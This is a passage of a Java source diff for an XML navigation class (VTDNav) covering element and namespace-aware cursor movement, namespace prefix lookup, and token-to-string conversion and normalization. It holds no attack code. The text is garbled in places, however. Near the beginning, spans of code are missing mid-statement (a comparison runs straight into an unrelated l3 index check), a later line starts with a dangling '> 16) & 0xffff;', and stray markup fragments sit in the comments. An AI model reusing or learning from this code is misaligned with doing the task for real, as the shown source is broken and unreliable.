l2lower = temp; + // l2lower shouldn't be -1 !!!! l2lower and l2upper always get + // resolved simultaneously + l2index = l2lower; + l2upper = l2Buffer.size - 1; + for (int i = l1index + 1; i < l1Buffer.size; i++) { + temp = l1Buffer.lower32At(i); + if (temp != 0xffffffff) { + l2upper = temp - 1; + break; + } + } + } // intelligent guess again ?? + + if (l2index < 0 || l2index >= l2Buffer.size + || context[2] != l2Buffer.upper32At(l2index)) { + + if (l2index >= l2Buffer.size || l2index<0) + l2index = l2lower; + if (l2index+1< l2Buffer.size&& context[2] == l2Buffer.upper32At(l2index + 1)) + l2index = l2index + 1; + else if (l2upper - l2lower >= 16) { + int init_guess = l2lower + + (int) ((l2upper - l2lower) + * ((float) context[2] - l2Buffer + .upper32At(l2lower)) / (l2Buffer + .upper32At(l2upper) - l2Buffer + .upper32At(l2lower))); + if (l2Buffer.upper32At(init_guess) > context[2]) { + while (context[2] != l2Buffer.upper32At(init_guess)) + init_guess--; + } else if (l2Buffer.upper32At(init_guess) < context[2]) { + while (context[2] != l2Buffer.upper32At(init_guess)) + init_guess++; + } + l2index = init_guess; + } else if (context[2]= l3Buffer.size + || context[3] != l3Buffer.intAt(l3index)) { + if (l3index >= l3Buffer.size || l3index <0) + l3index = l3lower; + if (l3index+1 < l3Buffer.size && + context[3] == l3Buffer.intAt(l3index + 1)) + l3index = l3index + 1; + else if (l3upper - l3lower >= 16) { + int init_guess = l3lower + + (int) ((l3upper - l3lower) * ((float) (context[3] - l3Buffer + .intAt(l3lower)) / (l3Buffer.intAt(l3upper) - l3Buffer + .intAt(l3lower)))); + if (l3Buffer.intAt(init_guess) > context[3]) { + while (context[3] != l3Buffer.intAt(init_guess)) + init_guess--; + } else if (l3Buffer.intAt(init_guess) < context[3]) { + while (context[3] != l3Buffer.intAt(init_guess)) + init_guess++; + } + l3index = init_guess; + } else if (context[3]> 16) & 0xffff; + + return lookupNS(offset, preLen); + + //return resolveNS(URL, offset, preLen); + } + + /** + * This function returns the VTD record index of the namespace that matches + * the prefix of cursor element + * + * @param URL + * @return int + * + */ + protected int lookupNS(int offset, int len){ + long l; + boolean hasNS = false; + int size = vtdBuffer.size; + // look for a match in the current hiearchy and return true + for (int i = context[0]; i >= 0; i--) { + int s = (i != 0) ? context[i] : rootIndex; + switch (NSval(s)) { // checked the ns marking + case 0xc0000000 : + s = s + 1; + if (s>=size) + break; + int type = getTokenType(s); + + while ((type == TOKEN_ATTR_NAME || type == TOKEN_ATTR_NS)) { + if (type == TOKEN_ATTR_NS) { + // Get the token length + int temp = getTokenLength(s); + int preLen = ((temp >> 16) & 0xffff); + int fullLen = temp & 0xffff; + int os = getTokenOffset(s); + // xmlns found + if (temp == 5 && len == 0) { + return s+1; + } else if ((fullLen - preLen - 1) == len) { + // prefix length identical to local part of ns + // declaration + boolean a = true; + for (int j = 0; j < len; j++) { + if (getCharUnit(os + preLen + 1 + j) + != getCharUnit(offset + j)) { + a = false; + break; + } + } + if (a == true) { + return s+1; + } + } + } + //return (URL != null) ? true : false; + s += 2; + if (s>=size) + break; + type = getTokenType(s); + } + break; + case 0x80000000 : + break; + default : // check the ns existence, mark bit 31:30 to 11 or 10 + int k = s + 1; + if (k>=size) + break; + type = getTokenType(k); + + while ( (type == TOKEN_ATTR_NAME || type == TOKEN_ATTR_NS)) { + if (type == TOKEN_ATTR_NS) { + // Get the token length + hasNS = true; + int temp = getTokenLength(k); + int preLen = ((temp >> 16) & 0xffff); + int fullLen = temp & 0xffff; + int os = getTokenOffset(k); + // xmlns found + if (temp == 5 && len == 0) { + l = vtdBuffer.longAt(s); + hasNS = false; + vtdBuffer.modifyEntry( + s, + l | 0x00000000c0000000L); + + return k+1; + + } else if ((fullLen - preLen - 1) == len) { + // prefix length identical to local part of ns + // declaration + boolean a = true; + for (int j = 0; j < len; j++) { + if (getCharUnit(os + preLen + 1 + j) + != getCharUnit(offset + j)) { + a = false; + break; + } + } + if (a == true) { + l = vtdBuffer.longAt(s); + //hasNS = false; + vtdBuffer.modifyEntry( + s, + l | 0x00000000c0000000L); + return k+1; + } + } + } + //return (URL != null) ? true : false; + k += 2; + if (k>=size) + break; + type = getTokenType(k); + } + l = vtdBuffer.longAt(s); + if (hasNS) { + hasNS = false; + vtdBuffer.modifyEntry(s, l | 0x00000000c0000000L); + } else { + vtdBuffer.modifyEntry(s, l | 0x0000000080000000L); + } + break; + } + } + return 0; + //return -1; + } + private boolean resolveNS(String URL, int offset, int len) + throws NavException { + + int result = lookupNS(offset, len); + switch(result){ + case 0: + if (URL == null){ + return true; + } else { + return false; + } + default: + if (URL == null) { + if (getTokenLength(result)==0) + return true; + return false; + } + else { + return matchNormalizedTokenString2(result, URL); + } + + } + } + /** + * A generic navigation method. Move the cursor to the element according to + * the direction constants If no such element, no position change and return + * false. Creation date: (12/2/03 1:43:50 PM) Legal direction constants are + * + *
    +     *    			ROOT               0 
    +     * 
    + *
    +     *  		    PARENT  		   1 
    +     * 
    + *
    +     *        	    FIRST_CHILD		   2 
    +     * 
    + *
    +     *  		    LAST_CHILD 		   3 
    +     * 
    + *
    +     *     	  	    NEXT_SIBLING       4 
    +     * 
    + *
    +     *       	    PREV_SIBLING       5 
    +     * 
    + * + * @return boolean + * @param direction + * int + * @exception com.ximpleware.NavException + * When direction value is illegal. + */ + public boolean toElement(int direction) throws NavException { + int size; + //count++; + //System.out.println("count ==>"+ count); + switch (direction) { + case ROOT : // to document element! + if (context[0] != 0) { + /* + * for (int i = 1; i <= context[0]; i++) { context[i] = + * 0xffffffff; } + */ + context[0] = 0; + } + atTerminal = false; + //l1index = l2index = l3index = -1; + return true; + case PARENT : + if (atTerminal == true){ + atTerminal = false; + return true; + } + if (context[0] > 0) { + //context[context[0]] = context[context[0] + 1] = + // 0xffffffff; + context[context[0]] = -1; + context[0]--; + return true; + }else if (context[0]==0){ + context[0]=-1; //to be compatible with XPath Data model + return true; + } + else { + return false; + } + case FIRST_CHILD : + case LAST_CHILD : + if (atTerminal) return false; + switch (context[0]) { + case -1: + context[0] = 0; + return true; + case 0 : + if (l1Buffer.size > 0) { + context[0] = 1; + l1index = + (direction == FIRST_CHILD) + ? 0 + : (l1Buffer.size - 1); + context[1] = l1Buffer.upper32At(l1index); + //(int) (vtdToken >> 32); + return true; + } else + return false; + case 1 : + l2lower = l1Buffer.lower32At(l1index); + if (l2lower == -1) { + return false; + } + context[0] = 2; + l2upper = l2Buffer.size - 1; + size = l1Buffer.size; + for (int i = l1index + 1; i < size; i++) { + int temp = l1Buffer.lower32At(i); + if (temp != 0xffffffff) { + l2upper = temp - 1; + break; + } + } + //System.out.println(" l2 upper: " + l2upper + " l2 + // lower : " + l2lower); + l2index = + (direction == FIRST_CHILD) ? l2lower : l2upper; + context[2] = l2Buffer.upper32At(l2index); + return true; + + case 2 : + l3lower = l2Buffer.lower32At(l2index); + if (l3lower == -1) { + return false; + } + context[0] = 3; + + l3upper = l3Buffer.size - 1; + size = l2Buffer.size; + for (int i = l2index + 1; i < size; i++) { + int temp = l2Buffer.lower32At(i); + if (temp != 0xffffffff) { + l3upper = temp - 1; + break; + } + } + //System.out.println(" l3 upper : " + l3upper + " l3 + // lower : " + l3lower); + l3index = + (direction == FIRST_CHILD) ? l3lower : l3upper; + context[3] = l3Buffer.intAt(l3index); + + return true; + + default : + if (direction == FIRST_CHILD) { + size = vtdBuffer.size; + int index = context[context[0]] + 1; + while (index < size) { + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth <= context[0]) { + return false; + } else if (depth == (context[0] + 1)) { + context[0] += 1; + context[context[0]] = index; + return true; + } + } + + index++; + } // what condition + return false; + } else { + int index = context[context[0]] + 1; + int last_index = -1; + size = vtdBuffer.size; + while (index < size) { + long temp = vtdBuffer.longAt(index); + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + if (depth <= context[0]) { + break; + } else if (depth == (context[0] + 1)) { + last_index = index; + } + } + + index++; + } + if (last_index == -1) { + return false; + } else { + context[0] += 1; + context[context[0]] = last_index; + return true; + } + } + } + + case NEXT_SIBLING : + case PREV_SIBLING : + if(atTerminal)return nodeToElement(direction); + switch (context[0]) { + case -1: + case 0 : + return false; + case 1 : + if (direction == NEXT_SIBLING) { + if (l1index + 1 >= l1Buffer.size) { + return false; + } + + l1index++; // global incremental + } else { + if (l1index - 1 < 0) { + return false; + } + l1index--; // global incremental + } + context[1] = l1Buffer.upper32At(l1index); + return true; + case 2 : + if (direction == NEXT_SIBLING) { + if (l2index + 1 > l2upper) { + return false; + } + l2index++; + } else { + if (l2index - 1 < l2lower) { + return false; + } + l2index--; + } + context[2] = l2Buffer.upper32At(l2index); + return true; + case 3 : + if (direction == NEXT_SIBLING) { + if (l3index + 1 > l3upper) { + return false; + } + l3index++; + } else { + if (l3index - 1 < l3lower) { + return false; + } + l3index--; + } + context[3] = l3Buffer.intAt(l3index); + return true; + default : + //int index = context[context[0]] + 1; + + if (direction == NEXT_SIBLING) { + int index = context[context[0]] + 1; + size = vtdBuffer.size; + while (index < size) { + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < context[0]) { + return false; + } else if (depth == (context[0])) { + context[context[0]] = index; + return true; + } + } + index++; + } + return false; + } else { + int index = context[context[0]] - 1; + while (index > context[context[0] - 1]) { + // scan backforward + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + /* + * if (depth < context[0]) { return false; } + * else + */ + if (depth == (context[0])) { + context[context[0]] = index; + return true; + } + } + index--; + } // what condition + return false; + } + } + + default : + throw new NavException("illegal navigation options"); + } + + } + + /** the corner case of element to node jump + * + * @param direction + * @return + */ + protected boolean nodeToElement(int direction){ + switch(direction){ + case NEXT_SIBLING: + switch (context[0]) { + case 0: + if (l1index!=-1){ + context[0]=1; + context[1]=l1Buffer.upper32At(l1index); + atTerminal=false; + return true; + }else + return false; + case 1: + if (l2index!=-1){ + context[0]=2; + context[2]=l2Buffer.upper32At(l2index); + atTerminal=false; + return true; + }else + return false; + + case 2: + if (l3index!=-1){ + context[0]=3; + context[3]=l3Buffer.intAt(l3index); + atTerminal=false; + return true; + }else + return false; + default: + int index = LN + 1; + int size = vtdBuffer.size; + while (index < size) { + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + if (depth < context[0]) { + return false; + } else if (depth == (context[0])) { + context[context[0]] = index; + return true; + } + } + index++; + } + return false; + + } + case PREV_SIBLING: + switch (context[0]) { + case 0: + if (l1index!=-1 && l1index>0){ + l1index--; + context[0]=1; + context[1]=l1Buffer.upper32At(l1index); + atTerminal=false; + return true; + }else + return false; + case 1: + if (l2index!=-1 && l2index>l2lower){ + l2index--; + context[0]=2; + context[2]=l2Buffer.upper32At(l2index); + atTerminal=false; + return true; + }else + return false; + case 2: + if (l2index!=-1 && l3index>l3lower){ + l3index--; + context[0]=3; + context[3]=l3Buffer.intAt(l3index); + atTerminal=false; + return true; + }else + return false; + + default: + int index = LN- 1; + while (index > context[context[0] - 1]) { + // scan backforward + long temp = vtdBuffer.longAt(index); + int token_type = + (int) ((MASK_TOKEN_TYPE & temp) >> 60) + & 0xf; + + if (token_type == TOKEN_STARTING_TAG) { + int depth = + (int) ((MASK_TOKEN_DEPTH & temp) >> 52); + /* + * if (depth < context[0]) { return false; } + * else + */ + if (depth == (context[0])) { + context[context[0]] = index; + return true; + } + } + index--; + } // what condition + return false; + } + } + return false; + } + /** + * A generic navigation method. Move the cursor to the element according to + * the direction constants and the element name If no such element, no + * position change and return false. "*" matches any element Creation date: + * (12/2/03 1:43:50 PM) Legal direction constants are
    + * + *
    +     * 		ROOT            0  
    +     * 
    + *
    +     * 		PARENT          1  
    +     * 
    + *
    +     * 		FIRST_CHILD     2  
    +     * 
    + *
    +     * 		LAST_CHILD      3  
    +     * 
    + *
    +     * 		NEXT_SIBLING    4  
    +     * 
    + *
    +     * 		PREV_SIBLING    5  
    +     * 
    + * + *
    + * for ROOT and PARENT, element name will be ignored. + * + * @return boolean + * @param direction + * int + * @param en + * String + * @exception com.ximpleware.NavException + * When direction value is illegal. Or there are errors in + * underlying byte representation of the document + * @exception IllegalArguementException + * if en is null + */ + public boolean toElement(int direction, String en) throws NavException { + int temp=-1; + int d=-1; + int val=0; + boolean b=false; + if (en == null) + throw new IllegalArgumentException(" Element name can't be null "); + if (en.equals("*")) + return toElement(direction); + switch (direction) { + case ROOT : + return toElement(ROOT); + + case PARENT : + return toElement(PARENT); + + case FIRST_CHILD : + if (atTerminal)return false; + if (toElement(FIRST_CHILD) == false) + return false; + // check current element name + if (matchElement(en) == false) { + if (toElement(NEXT_SIBLING, en) == true) + return true; + else { + //toParentElement(); + //context[context[0]] = 0xffffffff; + context[0]--; + return false; + } + } else + return true; + + case LAST_CHILD : + if (atTerminal)return false; + if (toElement(LAST_CHILD) == false) + return false; + if (matchElement(en) == false) { + if (toElement(PREV_SIBLING, en) == true) + return true; + else { + //context[context[0]] = 0xffffffff; + context[0]--; + //toParentElement(); + return false; + } + } else + return true; + + case NEXT_SIBLING : + if (atTerminal){ + if (nodeToElement(NEXT_SIBLING)){ + b=true; + if (matchElement(en)){ + return true; + } + }else + return false; + } + + if (!b){ + d = context[0]; + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + default: + } + temp = context[d]; // store the current position + } + + while (toElement(NEXT_SIBLING)) { + if (matchElement(en)) { + return true; + } + } + if (b){ + context[0]--;//LN value should not change + atTerminal=true; + return false; + } else { + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + default: + } + context[d] = temp; + return false; + } + + case PREV_SIBLING : + if (atTerminal){ + if (nodeToElement(PREV_SIBLING)){ + b=true; + if (matchElement(en)){ + return true; + } + }else + return false; + } + if (!b){ + d = context[0]; + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + default: + } + temp = context[d]; // store the current position + } + + while (toElement(PREV_SIBLING)) { + if (matchElement(en)) { + return true; + } + } + if (b){ + context[0]--;//LN value should not change + atTerminal=true; + return false; + } else{ + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + default: + } + context[d] = temp; + return false; + } + + default : + throw new NavException("illegal navigation options"); + } + } + /** + * A generic navigation method with namespace support. Move the cursor to + * the element according to the direction constants and the prefix and local + * names If no such element, no position change and return false. URL * + * matches any namespace, including undefined namespaces a null URL means + * hte namespace prefix is undefined for the element ln * matches any + * localname Creation date: (12/2/03 1:43:50 PM) Legal direction constants + * are
    + * + *
    +     * 		ROOT            0  
    +     * 
    + *
    +     * 		PARENT          1  
    +     * 
    + *
    +     * 		FIRST_CHILD     2  
    +     * 
    + *
    +     * 		LAST_CHILD      3  
    +     * 
    + *
    +     * 		NEXT_SIBLING    4  
    +     * 
    + *
    +     * 		PREV_SIBLING    5  
    +     * 
    + * + *
    + * for ROOT and PARENT, element name will be ignored. If not ns enabled, + * return false immediately with no position change. + * + * @return boolean + * @param direction + * int + * @param URL + * String + * @param ln + * String + * @exception com.ximpleware.NavException + * When direction value is illegal. Or there are errors in + * underlying byte representation of the document + */ + public boolean toElementNS(int direction, String URL, String ln) + throws NavException { + boolean b=false; + int temp=-1; + int val=0; + int d=-1; // temp location + if (ns == false) + return false; + switch (direction) { + case ROOT : + return toElement(ROOT); + + case PARENT : + return toElement(PARENT); + + case FIRST_CHILD : + if (atTerminal)return false; + if (toElement(FIRST_CHILD) == false) + return false; + // check current element name + if (matchElementNS(URL, ln) == false) { + if (toElementNS(NEXT_SIBLING, URL, ln) == true) + return true; + else { + //toParentElement(); + //context[context[0]] = 0xffffffff; + context[0]--; + return false; + } + } else + return true; + + case LAST_CHILD : + if (atTerminal)return false; + if (toElement(LAST_CHILD) == false) + return false; + if (matchElementNS(URL, ln) == false) { + if (toElementNS(PREV_SIBLING, URL, ln) == true) + return true; + else { + //context[context[0]] = 0xffffffff; + context[0]--; + //toParentElement(); + return false; + } + } else + return true; + + case NEXT_SIBLING : + if (atTerminal){ + if (nodeToElement(NEXT_SIBLING)){ + b=true; + if (matchElementNS(URL,ln)){ + return true; + } + }else + return false; + } + if (!b){ + d = context[0]; + temp = context[d]; // store the current position + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + default: + } + } + //if (d == 0) + // return false; + while (toElement(NEXT_SIBLING)) { + if (matchElementNS(URL, ln)) { + return true; + } + } + if (b){ + context[0]--;//LN value should not change + atTerminal=true; + return false; + } + else{ + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + default: + } + context[d] = temp; + return false; + } + + case PREV_SIBLING : + if (atTerminal){ + if (nodeToElement(PREV_SIBLING)){ + b=true; + if (matchElementNS(URL,ln)){ + return true; + } + }else + return false; + } + if (!b){ + d = context[0]; + temp = context[d]; // store the current position + switch(d) + { + case -1: + case 0: return false; + case 1: val = l1index; break; + case 2: val = l2index; break; + case 3: val = l3index; break; + default: + } + } + //if (d == 0) + // return false; + while (toElement(PREV_SIBLING)) { + if (matchElementNS(URL, ln)) { + return true; + } + } + if (b){ + context[0]--;//LN value should not change + atTerminal=true; + return false; + }else { + switch(d) + { + case 1: l1index = val; break; + case 2: l2index = val; break; + case 3: l3index = val; break; + default: + } + context[d] = temp; + return false; + } + + default : + throw new NavException("illegal navigation options"); + } + + } + + /** + * (New since version 2.9) + * Shallow Normalization follows the rules below to normalize a token into + * a string + * *#xD#xA gets converted to #xA + * *For a character reference, append the referenced character to the normalized value. + * *For an entity reference, recursively apply step 3 of this algorithm to the replacement text of the entity. + * *For a white space character (#x20, #xD, #xA, #x9), append a space character (#x20) to the normalized value. + * *For another character, append the character to the normalized value. + * @param index + * @return + * @throws NavException + */ + public String toNormalizedString2(int index) throws NavException{ + int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + return toRawString(index); + long l; + int len; + len = getTokenLength(index); + if (len == 0) + return ""; + int offset = getTokenOffset(index); + int endOffset = len + offset - 1; // point to the last character + StringBuffer sb = new StringBuffer(len); + + int ch; + + //boolean d = false; + while (offset <= endOffset) { + l = getCharResolved(offset); + ch = (int)l; + offset += (int)(l>>32); + if (isWS(ch) && (l>>32)<=2) { + //d = true; + sb.append(' '); + } else + sb.append((char) ch); + } + return sb.toString(); + } + /** + * This method normalizes a token into a string value of character data + * and attr val in a way that resembles DOM. The leading and trailing + * white space characters will be stripped. The entity and character + * references will be resolved Multiple whitespaces char will be collapsed + * into one. Whitespaces via entities will nonetheless be preserved. + * Creation date: (12/8/03 1:57:10 PM) + * + * @return java.lang.String + * @param index + * int + * @exception NavException + * When the encoding has errors + */ + public String toNormalizedString(int index) throws NavException { + int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + return toRawString(index); + long l; + int len; + len = getTokenLength(index); + if (len == 0) + return ""; + int offset = getTokenOffset(index); + int endOffset = len + offset - 1; // point to the last character + StringBuffer sb = new StringBuffer(len); + + int ch; + + // trim off the leading whitespaces + + while (true) { + int temp = offset; + l = getChar(offset); + + ch = (int)l; + offset += (int)(l>>32); + + if (!isWS(ch)) { + offset = temp; + break; + } + } + + boolean d = false; + while (offset <= endOffset) { + l = getCharResolved(offset); + ch = (int)l; + offset += (int)(l>>32); + if (isWS(ch) && getCharUnit(offset - 1) != ';') { + d = true; + } else { + if (d == false) + sb.append((char) ch); // java only supports 16 bit unicode + else { + sb.append(' '); + sb.append((char) ch); + d = false; + } + } + } + + return sb.toString(); + } + + + /** + * Get the string length of a token as if it is converted into a normalized UCS string + * @param index + * @return the string length + * @throws NavException + * + */ + final public int getNormalizedStringLength(int index) throws NavException { + int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + return getRawStringLength(index); + long l; + int len,len1=0; + len = getTokenLength(index); + if (len == 0) + return 0; + int offset = getTokenOffset(index); + int endOffset = len + offset - 1; // point to the last character + //StringBuffer sb = new StringBuffer(len); + + int ch; + // trim off the leading whitespaces + + while (true) { + int temp = offset; + l = getChar(offset); + + ch = (int)l; + offset += (int)(l>>32); + + if (!isWS(ch)) { + offset = temp; + break; + } + } + + boolean d = false; + while (offset <= endOffset) { + l = getCharResolved(offset); + ch = (int)l; + offset += (int)(l>>32); + if (isWS(ch) && getCharUnit(offset - 1) != ';') { + d = true; + } else { + if (d == false) + len1++; // java only supports 16 bit unicode + else { + len1= len1+2; + d = false; + } + } + } + + return len1; + } + + /** + * Convert a token at the given index to a String, + * (entities and char references not expanded). + * Creation date: (11/16/03 7:28:49 PM) + * + * @return java.lang.String + * @param index int + * @exception NavException When the encoding has errors + */ + final public String toRawString(int index) throws NavException { + int type = getTokenType(index); + int len; + if (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength(index) & 0xffff; + else + len = getTokenLength(index); + int offset = getTokenOffset(index); + return toRawString(offset, len); + } + + final protected void toRawString(StringBuilder sb, int index) + throws NavException { + int type = getTokenType(index); + int len; + if (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength2(index) & 0xffff; + else + len = getTokenLength2(index); + int offset = getTokenOffset(index); + toRawString(offset, len,sb); + } + /** + * Convert a token at the given index to a String, upper case chars + * get converted into lower case + * (entities and char references not expanded). + * @param index + * @return + * @throws NavException + */ + final public String toRawStringLowerCase(int index) throws NavException { + int type = getTokenType(index); + int len; + if (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength(index) & 0xffff; + else + len = getTokenLength(index); + int offset = getTokenOffset(index); + return toRawStringLowerCase(offset, len); + } + /** + * Convert a token at the given index to a String, lower case chars + * get converted into upper case + * (entities and char references not expanded). + * @param index + * @return + * @throws NavException + */ + final public String toRawStringUpperCase(int index) throws NavException { + int type = getTokenType(index); + int len; + if (type == TOKEN_STARTING_TAG + || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength(index) & 0xffff; + else + len = getTokenLength(index); + int offset = getTokenOffset(index); + return toRawStringUpperCase(offset, len); + } + + /** + * Convert a segment of XML bytes a into string, without entity resolution + * @param os (in terms of chars not bytes) + * @param len (in terms of chars not bytes) + * @return + * @throws NavException + * + */ + final public String toRawString(int os, int len) throws NavException{ + StringBuffer sb = new StringBuffer(len); + int offset = os; + int endOffset = os + len; + //if (encoding> FORMAT_WIN_1258){ + // offset = offset>>1; + // endOffset = endOffset>>1; + //} + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int)(l>>32); + sb.append((char)l); + } + return sb.toString(); + } + + final protected void toRawString(int os, int len, StringBuffer sb) throws NavException { + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int)(l>>32); + sb.append((char)l); + } + } + + final protected void toRawString(int os, int len, StringBuilder sb) throws NavException { + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int)(l>>32); + sb.append((char)l); + } + } + + final protected void toString(int os, int len, StringBuilder sb) throws NavException { + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getCharResolved(offset); + offset += (int)(l>>32); + sb.append((char)l); + } + } + + final protected void toStringUpperCase(int os, int len, StringBuilder sb) throws NavException { + //StringBuilder sb = new StringBuilder(len); + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getCharResolved(offset); + offset += (int)(l>>32); + if ((int)l>96 && (int)l<123) + sb.append((char)(l-32)); + else + sb.append((char)l); + } + //return sb.toString(); + } + + final protected void toStringLowerCase(int os, int len, StringBuilder sb) throws NavException { + //StringBuilder sb = new StringBuilder(len); + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getCharResolved(offset); + offset += (int)(l>>32); + if ((int)l>64 && (int)l<91) + sb.append((char)(l+32)); + else + sb.append((char)l); + } + //return sb.toString(); + } + + /** + * getStringLength return the string length of a token as if the token is converted into + * a string (entity resolved for character data and attr val) + * @param index + * @return the string length as if the token is converted to a UCS string (entity resolved) + * @throws NavException + * + */ + final public int getStringLength(int index) throws NavException { + int type = getTokenType(index); + if (type != TOKEN_CHARACTER_DATA && type != TOKEN_ATTR_VAL) + return getRawStringLength(index); + int len = 0, len1 = 0; + + len = getTokenLength(index); + int offset = getTokenOffset(index); + int endOffset = offset + len; + long l; + + while (offset < endOffset) { + l = getCharResolved(offset); + offset += (int) (l >> 32); + len1++; + } + return len1; + } + + + /** + * Get the string length as if the token is converted into a UCS string (entity not resolved) + * @param index + * @return + * @throws NavException + * + */ + final public int getRawStringLength(int index) throws NavException { + int type = getTokenType(index); + int len = 0, len1 = 0; + if (type == TOKEN_STARTING_TAG || type == TOKEN_ATTR_NAME + || type == TOKEN_ATTR_NS) + len = getTokenLength(index) & 0xffff; + else + len = getTokenLength(index); + if (encoding!=VTDNav.FORMAT_UTF8 && + encoding!=VTDNav.FORMAT_UTF_16BE && + encoding!=VTDNav.FORMAT_UTF_16LE) { + return len; + } + int offset = getTokenOffset(index); + int endOffset = offset + len; + long l; + while (offset < endOffset) { + l = getChar(offset); + offset += (int) (l >> 32); + len1++; + } + return len1; + } + + /** + * Convert a token at the given index to a String, (entities and char + * references resolved character data and attr val). An attribute name or + * an element name will get the UCS2 string of qualified name + * Creation date: (11/16/03 7:27:19 PM) + * + * @return java.lang.String + * @param index + * @exception NavException + */ + public String toString(int index) throws NavException { + int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + return toRawString(index); + int len; + len = getTokenLength(index); + + int offset = getTokenOffset(index); + return toString(offset, len); + } + + /** + * Convert a token at the given index to a String and any lower case + * character will be converted to upper case, (entities and char + * references resolved character data and attr val). + * @param index + * @return + * @throws NavException + */ + public String toStringUpperCase(int index) throws NavException { + int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + return toRawStringUpperCase(index); + int len; + len = getTokenLength(index); + + int offset = getTokenOffset(index); + return toStringUpperCase(offset, len); + } + + /** + * Convert a token at the given index to a String and any upper case + * character will be converted to lower case, (entities and char + * references resolved for character data and attr val). + * @param index + * @return + * @throws NavException + */ + public String toStringLowerCase(int index) throws NavException { + int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + return toRawStringLowerCase(index); + int len; + len = getTokenLength(index); + + int offset = getTokenOffset(index); + return toStringLowerCase(offset, len); + } + + /** + * Convert the byte content segment (in terms of offset and length) to + * String (entities are resolved) + * + * @param os + * the char offset of the segment (not byte) + * @param len + * the length of the segment in char (not byte) + * @return the corresponding string value + * @throws NavException + * + */ + final public String toString(int os, int len) throws NavException{ + StringBuffer sb = new StringBuffer(len); + int offset = os; + int endOffset = os + len; + //if (encoding> FORMAT_WIN_1258){ + // offset = offset>>1; + // endOffset = endOffset>>1; + //} + + long l; + while (offset < endOffset) { + l = getCharResolved(offset); + offset += (int)(l>>32); + sb.append((char)l); + } + return sb.toString(); + } + + final protected void toString(StringBuilder sb, int index) + throws NavException { + /*int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + toRawString(sb, index);*/ + int len,type; + len = getTokenLength2(index); + type= getTokenType(index); + + int offset = getTokenOffset(index); + if (type!=VTDNav.TOKEN_CDATA_VAL) + toString(offset, len, sb); + else + toRawString(offset, len, sb); + } + + + + final protected void toStringUpperCase(StringBuilder sb, int index) + throws NavException { + /*int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + toRawString(sb, index);*/ + int len,type; + len = getTokenLength2(index); + type= getTokenType(index); + + int offset = getTokenOffset(index); + if (type!=VTDNav.TOKEN_CDATA_VAL) + toStringUpperCase(offset, len, sb); + else + toRawStringUpperCase(offset, len, sb); + } + + final protected void toStringLowerCase(StringBuilder sb, int index) + throws NavException { + /*int type = getTokenType(index); + if (type!=TOKEN_CHARACTER_DATA && + type!= TOKEN_ATTR_VAL) + toRawString(sb, index); */ + int len,type; + len = getTokenLength2(index); + type= getTokenType(index); + + int offset = getTokenOffset(index); + if (type!=VTDNav.TOKEN_CDATA_VAL) + toStringLowerCase(offset, len, sb); + else + toRawStringLowerCase(offset, len, sb); + } + + /** + * Convert the byte content segment (in terms of offset and length) to + * String, lower case characters are converted to upper case + * + * @param os + * the offset of the segment + * @param len + * the length of the segment + * @return the corresponding string value + * @throws NavException + * + */ + final protected String toStringUpperCase(int os, int len) throws NavException{ + StringBuilder sb = new StringBuilder(len); + int offset = os; + int endOffset = os + len; + long l; + while (offset < endOffset) { + l = getCharResolved(offset); + 